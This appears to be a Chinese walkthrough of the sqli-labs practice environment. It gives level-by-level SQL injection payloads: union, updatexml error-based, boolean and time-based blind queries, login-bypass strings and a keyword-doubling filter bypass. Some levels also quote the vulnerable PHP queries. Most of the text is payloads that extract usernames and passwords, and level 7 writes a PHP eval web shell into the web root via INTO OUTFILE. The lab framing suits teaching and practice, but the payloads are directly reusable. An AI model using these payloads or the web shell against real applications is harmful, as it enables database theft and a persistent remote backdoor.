1' and 1=1 -- - 1' order by 3 -- - -1' union select 1,(select database()),3 -- - -1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- - -1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users" -- - -1' union select 1,group_concat(username,0x3a,password),3 from users -- -
1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- - 1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x7e),1) -- - 1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 10,1),0x7e),1) -- - 1' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1) -- -
1' and sleep(5) -- -
2、无闭合,可用联合查询、报错查询、时间盲注
1
-1 union select 1,database(),3 and sleep(6) -- -
3、闭合方式:')
可用联合查询、报错查询、时间盲注
4、闭合方式:")
可用联合查询、报错查询、时间盲注
5、闭合方式:' 可用报错查询、时间盲注
updatexml(目标xml内容,xml文档路径,更新的内容)
1
1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- -
6、闭合方式:" 与5相同,只是闭合方式不同
7、提示: You are in…. Use outfile……
使用写入一句话木马的方式注入 闭合方式:')) 1’)) and 1=1 – - 1’)) and 1=2 – - 1’)) order by 4 – - 可通过盲注判断,使用写入木马的方式注入 写入条件:mysql.ini配置文件中需要有 secure_file_priv= 配置
1
1')) union select 1,"<?php @eval($_POST[123])?>",3 into outfile "D:\\xx\\xx\\phpStudy\\phpStudy\\PHPTutorial\\WWW\\123.php" -- -
1' and 1=1 -- - 1' and 1=2 -- - 1' order by 3 -- - 1' order by 4 -- - 1' and length(database())>10 -- - 1' and length(database())=8 -- - 1' and ascii(substr(database(),1,1))=115 -- - 1' and ascii(substr(database(),2,1))=101 -- - 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 -- - 1' and ascii(substr((select column_name from information_schema.columns where table_name="emails" limit 0,1),1,1))=105 -- - 1' and ascii(substr((select id from emails limit 0,1),1,1))=105 -- - 1' and ascii(substr((select id from emails limit 0,1),1,1))=49 -- -
数据库名长度: 1' and if(length(database())=8,sleep(5),1) -- qwe 利用ASCII码猜解方式获取当前数据库名称: 1' and if((ascii(substr(database(),1,1))=115),sleep(5),1) -- - 延时,说明数据库名称第一位是s 猜解表名: 1' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101),sleep(5),1) -- - 延时,说明数据库表名的第一个的第一位是e 猜解字段名: 1' and if((ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1))=105),sleep(5),1) -- - 如果返回正常,说明emails表中的列名称第一位是i 猜解数据: 1' and if((ascii(substr((select id from emails limit 0,1),1,1))=49),sleep(5),1) -- - 如果返回正常,说明id列中的列名称第一位是1
10、提示:You are in………..
通过如下语句判断闭合方式,延时之后确认闭合方式是:",使用延时注入的方式,延时5秒。
1 2 3
1 and sleep(5) -- - 1' and sleep(5) -- - 1" and sleep(5) -- -
按照上一关盲注的手法,做法跟之前是一样的,只是闭合的区别,注入方式还是使用 时间盲注
payload:
1 2 3 4 5 6 7 8 9 10
# 数据库名长度: 1" and if(length(database())=8,sleep(5),1) -- qwe # 利用ASCII码猜解方式获取当前数据库名称: 1" and if((ascii(substr(database(),1,1))=115),sleep(5),1) -- - # 猜解表名: 1" and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101),sleep(5),1) -- - # 猜解字段名: 1" and if((ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1))=105),sleep(5),1) -- - # 猜解数据: 1" and if((ascii(substr((select id from emails limit 0,1),1,1))=49),sleep(5),1) -- -
11、是个登录页面
使用万能密码可以登录成功:' or 1=1 -- -,闭合方式是单引号
源码如下:
payload:
1 2 3 4 5 6 7
' or 1=1 -- - ' or 1=2 -- - ' order by 2 -- - ' and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- - ' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) -- - ' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 4,1),0x7e),1) -- - ' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 3,1),0x7e),1) -- -
12、与11关一样,也是个登录页面
还是使用万能密码可以登录成功:") or 1=1 -- -,经过尝试发现本关使用 双引号加括号 的方式闭合
源码如下:
1 2 3 4 5 6
// connectivity $uname='"'.$uname.'"'; $passwd='"'.$passwd.'"'; @$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result);
payload:
1 2 3 4 5 6 7
") or 1=1 -- - ") or 1=2 -- - ") order by 2 -- - ") and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- - ") and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) -- - ") and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 4,1),0x7e),1) -- - ") and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 3,1),0x7e),1) -- -
13、与11、12关一样,也是个登录页面
还是使用万能密码可以登录成功:') or 1=2 -- -,经过尝试发现本关使用 单引号加括号 的方式闭合
登录成功后页面没有任何回显,但是可以用报错注入
源码如下:
1 2 3 4
// connectivity @$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result);
payload:
1 2 3 4 5 6 7
') or 1=1 -- - ') or 1=2 -- - ') order by 2 -- - ') and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- - ') and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) -- - ') and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 4,1),0x7e),1) -- - ') and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 3,1),0x7e),1) -- -
14、闭合方式:" , 与上面一样,还是个登录页面
还是使用万能密码可以登录成功:" or 1=2 -- -,经过尝试发现本关使用 双引号 的方式闭合
可以用报错注入
源码如下:
1 2 3 4 5 6
// connectivity $uname='"'.$uname.'"'; $passwd='"'.$passwd.'"'; @$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result);
payload:
1 2 3 4 5 6 7
" or 1=1 -- - " or 1=2 -- - " order by 2 -- - " and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- - " and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) -- - " and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 4,1),0x7e),1) -- - " and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 3,1),0x7e),1) -- -
<?php //including the Mysql connect parameters. include("../sql-connections/sql-connect.php"); error_reporting(0); // take the variables if(isset($_POST['uname']) && isset($_POST['passwd'])) { $uname=$_POST['uname']; $passwd=$_POST['passwd']; //logging the connection parameters to a file for analysis. $fp=fopen('result.txt','a'); fwrite($fp,'User Name:'.$uname); fwrite($fp,'Password:'.$passwd."\n"); fclose($fp); // connectivity @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result);
payload:
1 2 3 4 5 6 7 8 9 10 11 12
' or 1=1 -- - ' or 1=2 -- - ' order by 2 -- - # 猜解库名长度 ' or (length(database()))=8 -- - # 利用ASCII码猜解当前数据库名称: ' or (ascii(substr(database(),1,1)))=115-- - # 返回正常,说明数据库名称第一位是s ' or (ascii(substr(database(),2,1)))=101-- - # 返回正常,说明数据库名称第二位是e # 猜表名: ' or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101-- - # 如果返回正常,说明数# 据库表名的第一个的第一位是e # 猜字段名 'or (ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1)))=105-- - # 如果返回正常,说明 emails表中的列名称第一位是i
16、闭合方式:")
和上面15关是一样的思路,都是经过post传参的盲注,只是闭合的区别
源码如下:
1 2 3 4 5 6
// connectivity $uname='"'.$uname.'"'; $passwd='"'.$passwd.'"'; @$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result);
payload:
和上一关一样,只是闭合方式换为:")
26、绕过过滤:闭合方式:'
1 2 3 4 5 6 7 8 9 10 11
functionblacklist($id) { $id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive) $id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive) $id= preg_replace('/[\/\*]/',"", $id); //strip out /* $id= preg_replace('/[--]/',"", $id); //Strip out -- $id= preg_replace('/[#]/',"", $id); //Strip out # $id= preg_replace('/[\s]/',"", $id); //Strip out spaces $id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes return$id; }
过滤了这么多
payload:
1 2 3 4 5 6 7 8 9 10
?id=1' || '1'='1 ?id=1'anandd'1'='2 # 报错查数据库名 ?id=1' || updatexml(1,concat(0x7e,(select(database())),0x7e),1) || '1'='1 # 报错查表名 ?id=1' || updatexml(1,concat(0x7e,(select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema)=database()),0x7e),1) || '1'='1 # 报错查字段 ?id=1' || updatexml(1,concat(0x7e,(select (group_concat(column_name)) from (infoorrmation_schema.columns) where (table_name)="users"),0x7e),1) || '1'='1 # 查数据 ?id=1' || updatexml(1,concat(0x7e,(select (group_concat(username,passwoorrd)) from (security.users)),0x7e),1) || '1'='1